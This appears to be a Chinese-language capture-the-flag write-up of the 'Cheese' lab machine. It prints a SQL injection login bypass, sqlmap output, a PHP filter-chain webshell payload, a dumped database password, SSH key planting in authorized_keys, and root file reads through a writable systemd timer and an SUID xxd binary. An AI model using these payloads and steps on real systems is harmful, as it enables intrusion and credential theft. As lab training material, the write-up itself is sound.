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chess-ctf

信息搜集

居多端口 查看80

dirsearch -u http://10.10.129.0 
kali@kali ~/Documents/thm/cheese 
❯ whatweb http://10.10.129.0/                                                                                                   
http://10.10.129.0/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[info@thecheeseshop.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.129.0], Script, Title[The Cheese Shop]

SQLmap

POST /login.php HTTP/1.1
Host: 10.10.129.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.10.129.0
Connection: keep-alive
Referer: http://10.10.129.0/login.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=admin&password=admin
sqlmap -r r.txt --batch
[12:47:27] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 98 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 3923 FROM (SELECT(SLEEP(5)))rTrs) AND 'YJdf'='YJdf&password=admin
---
[12:47:45] [INFO] the back-end DBMS is MySQL

就是利用sqlmap 进一步 提库 提表 提列名 提数据

一种思路是等待爆破结果 一种思路是绕过登录 这里采取绕过 省时间

' OR 'x'='x'#;
http://10.10.129.0/secret-script.php?file=php://filter/resource=users.html

文件读取？

用户名comte

comte:x:1000:1000:comte:/home/comte:/bin/bash

可以利用php伪协议进行getshell

git clone https://github.com/synacktiv/php_filter_chain_generator
┌──(kali㉿kali)-[~/Documents/thm/cheese/php_filter_chain_generator]
└─$ python php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>' 
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]);?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

webshell

数据库密码

www-data@cheesectf:/var/www/html$ grep ";" login.php

$servername = "localhost";
$user = "comte";
$password = "VeryCheesyPassword";
$dbname = "users";
$conn = new mysqli($servername, $user, $password, $dbname);

MariaDB [users]> selselect * from users;
select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | comte    | 5b0c2e1b4fe1410e47f26feff7f4fc4c |
+----+----------+----------------------------------+
1 row in set (0.000 sec)

userShell

pwd /home/comte
-rw-rw-rw- 1 comte comte    0 Mar 25  2024 authorized_keys

可读可写？ 在本地机器生成公私钥对

ssh-keygen -t rsa -f id_rsa -b 4096 -C '' -N ''

把公钥写道authorized_keys文件

echo 'contents_of_id_rsa.pub' > /home/comte/.ssh/authorized_keys

用私钥连接

ssh comte@cheese.thm -i id_rsa

提权

comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer
comte@cheesectf:~$ id

comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.
comte@cheesectf:~$ ls -lah /etc/systemd/system/exploit.timer
-rwxrwxrwx 1 root root 87 Mar 29  2024 /etc/systemd/system/exploit.timer

可读可写

comte@cheesectf:/opt$ vim /etc/systemd/system/exploit.timer
comte@cheesectf:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Mar 29  2024 .
drwxr-xr-x 19 root root 4096 Sep 27  2023 ..
comte@cheesectf:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Mar 29  2024 .
drwxr-xr-x 19 root root 4096 Sep 27  2023 ..
comte@cheesectf:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Mar 29  2024 .
drwxr-xr-x 19 root root 4096 Sep 27  2023 ..
comte@cheesectf:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Mar 29  2024 .
drwxr-xr-x 19 root root 4096 Sep 27  2023 ..
comte@cheesectf:/opt$ sudo /bin/systemctl daemon-reload
comte@cheesectf:/opt$ vim /etc/systemd/system/exploit.timer
comte@cheesectf:/opt$ sudo systemctl restart exploit.timer
comte@cheesectf:/opt$ ls
xxd
comte@cheesectf:/opt$ cd xxd
-bash: cd: xxd: Not a directory
comte@cheesectf:/opt$ ls -al
total 28
drwxr-xr-x  2 root root  4096 Nov 15 19:05 .
drwxr-xr-x 19 root root  4096 Sep 27  2023 ..
-rwsr-sr-x  1 root root 18712 Nov 15 19:05 xxd
comte@cheesectf:/opt$

让我们看看 go awayBins 看看可以用 SUID 集 xxd 二进制文件做什么。就在这里，我们可以使用它读取任何文件。由于我们只需要从 /root/root.txt 获取 root.txt 文件数据。我们可以直接使用它，而无需使用以下命令获得权限 root shell。

comte@cheesectf:/opt$ LFILE=/root/root.txt
comte@cheesectf:/opt$ /opt/xxd "$LFILE" | /opt/xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{---}
comte@cheesectf:/opt$
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